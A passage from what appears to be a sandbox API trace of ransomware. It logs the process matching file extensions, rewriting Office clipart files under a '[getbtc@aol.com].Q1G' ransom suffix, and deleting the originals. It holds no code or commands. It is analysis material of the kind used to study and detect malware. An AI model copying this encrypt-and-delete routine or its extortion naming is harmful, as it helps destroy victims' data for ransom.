(lpString1=".1cd", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.854] lstrlenW (lpString=".jpg") returned 4 [0055.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.854] lstrlenW (lpString=".doc") returned 4 [0055.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString=".docx") returned 5 [0055.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.854] lstrlenW (lpString=".pdf") returned 4 [0055.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString=".xls") returned 4 [0055.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.854] lstrlenW (lpString=".xlsx") returned 5 [0055.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.855] lstrlenW (lpString=".ppt") returned 4 [0055.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.855] lstrlenW (lpString=".zip") returned 4 [0055.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.855] lstrlenW (lpString=".rar") returned 4 [0055.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.855] lstrlenW (lpString=".bz2") returned 4 [0055.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.855] lstrlenW (lpString=".7z") returned 3 [0055.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.855] lstrlenW (lpString=".dbf") returned 4 [0055.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.855] lstrlenW (lpString=".1cd") returned 4 [0055.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.855] lstrlenW (lpString=".jpg") returned 4 [0055.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.855] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.855] lstrlenW (lpString="AN02559_.WMF") returned 12 [0055.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.840] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=6632) returned 1 [0056.840] CloseHandle (hObject=0x234) returned 1 [0056.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0056.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.840] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.840] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.841] GetLastError () returned 0x0 [0056.841] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x19e8, lpOverlapped=0x0) returned 1 [0056.846] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0056.847] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.847] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.847] SetEndOfFile (hFile=0x190) returned 1 [0056.847] CloseHandle (hObject=0x190) returned 1 [0056.847] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.847] SetEndOfFile (hFile=0x234) returned 1 [0056.848] CloseHandle (hObject=0x234) returned 1 [0056.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.848] lstrlenW (lpString=".doc") returned 4 [0056.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString=".docx") returned 5 [0056.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.849] lstrlenW (lpString=".pdf") returned 4 [0056.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString=".xls") returned 4 [0056.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.849] lstrlenW (lpString=".xlsx") returned 5 [0056.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.849] lstrlenW (lpString=".ppt") returned 4 [0056.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.849] lstrlenW (lpString=".zip") returned 4 [0056.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.849] lstrlenW (lpString=".rar") returned 4 [0056.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString=".bz2") returned 4 [0056.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString=".7z") returned 3 [0056.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.849] lstrlenW (lpString=".dbf") returned 4 [0056.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.849] lstrlenW (lpString=".1cd") returned 4 [0056.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.849] lstrlenW (lpString=".jpg") returned 4 [0056.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.849] lstrlenW (lpString=".doc") returned 4 [0056.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.849] lstrlenW (lpString=".docx") returned 5 [0056.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.850] lstrlenW (lpString=".pdf") returned 4 [0056.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".xls") returned 4 [0056.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.850] lstrlenW (lpString=".xlsx") returned 5 [0056.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.850] lstrlenW (lpString=".ppt") returned 4 [0056.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.850] lstrlenW (lpString=".zip") returned 4 [0056.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.850] lstrlenW (lpString=".rar") returned 4 [0056.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".bz2") returned 4 [0056.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".7z") returned 3 [0056.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.850] lstrlenW (lpString=".dbf") returned 4 [0056.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.850] lstrlenW (lpString=".1cd") returned 4 [0056.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0056.850] lstrlenW (lpString=".jpg") returned 4 [0056.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.850] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.850] lstrlenW (lpString="AN02724_.WMF") returned 12 [0056.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.851] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2108) returned 1 [0056.851] CloseHandle (hObject=0x234) returned 1 [0056.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0056.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.852] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.852] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.852] GetLastError () returned 0x0 [0056.852] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x83c, lpOverlapped=0x0) returned 1 [0056.854] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x840, lpOverlapped=0x0) returned 1 [0056.854] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.854] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.855] SetEndOfFile (hFile=0x190) returned 1 [0056.855] CloseHandle (hObject=0x190) returned 1 [0056.855] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.855] SetEndOfFile (hFile=0x234) returned 1 [0056.856] CloseHandle (hObject=0x234) returned 1 [0056.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0056.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.856] lstrlenW (lpString=".doc") returned 4 [0056.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.856] lstrlenW (lpString=".docx") returned 5 [0056.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.856] lstrlenW (lpString=".pdf") returned 4 [0056.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.856] lstrlenW (lpString=".xls") returned 4 [0056.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.856] lstrlenW (lpString=".xlsx") returned 5 [0056.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.856] lstrlenW (lpString=".ppt") returned 4 [0056.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.856] lstrlenW (lpString=".zip") returned 4 [0056.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.856] lstrlenW (lpString=".rar") returned 4 [0056.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString=".bz2") returned 4 [0056.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString=".7z") returned 3 [0056.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.857] lstrlenW (lpString=".dbf") returned 4 [0056.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.857] lstrlenW (lpString=".1cd") returned 4 [0056.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.857] lstrlenW (lpString=".jpg") returned 4 [0056.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.857] lstrlenW (lpString=".doc") returned 4 [0056.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString=".docx") returned 5 [0056.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.857] lstrlenW (lpString=".pdf") returned 4 [0056.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString=".xls") returned 4 [0056.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.857] lstrlenW (lpString=".xlsx") returned 5 [0056.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.857] lstrlenW (lpString=".ppt") returned 4 [0056.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.857] lstrlenW (lpString=".zip") returned 4 [0056.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.857] lstrlenW (lpString=".rar") returned 4 [0056.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.857] lstrlenW (lpString=".bz2") returned 4 [0056.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.858] lstrlenW (lpString=".7z") returned 3 [0056.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.858] lstrlenW (lpString=".dbf") returned 4 [0056.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.858] lstrlenW (lpString=".1cd") returned 4 [0056.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0056.858] lstrlenW (lpString=".jpg") returned 4 [0056.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.858] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.858] lstrlenW (lpString="AN03500_.WMF") returned 12 [0056.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.858] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=9240) returned 1 [0056.858] CloseHandle (hObject=0x234) returned 1 [0056.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0056.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.859] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.859] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.859] GetLastError () returned 0x0 [0056.859] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x2418, lpOverlapped=0x0) returned 1 [0056.860] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2420, lpOverlapped=0x0) returned 1 [0056.861] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.861] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.861] SetEndOfFile (hFile=0x190) returned 1 [0056.862] CloseHandle (hObject=0x190) returned 1 [0056.862] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.862] SetEndOfFile (hFile=0x234) returned 1 [0056.862] CloseHandle (hObject=0x234) returned 1 [0056.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0056.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.863] lstrlenW (lpString=".doc") returned 4 [0056.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.863] lstrlenW (lpString=".docx") returned 5 [0056.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.863] lstrlenW (lpString=".pdf") returned 4 [0056.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.863] lstrlenW (lpString=".xls") returned 4 [0056.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.863] lstrlenW (lpString=".xlsx") returned 5 [0056.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.863] lstrlenW (lpString=".ppt") returned 4 [0056.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.863] lstrlenW (lpString=".zip") returned 4 [0056.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.863] lstrlenW (lpString=".rar") returned 4 [0056.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.863] lstrlenW (lpString=".bz2") returned 4 [0056.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString=".7z") returned 3 [0056.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.864] lstrlenW (lpString=".dbf") returned 4 [0056.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.864] lstrlenW (lpString=".1cd") returned 4 [0056.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.864] lstrlenW (lpString=".jpg") returned 4 [0056.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.864] lstrlenW (lpString=".doc") returned 4 [0056.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString=".docx") returned 5 [0056.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.864] lstrlenW (lpString=".pdf") returned 4 [0056.864] lstrcmpiW (lpString1=".pdf", 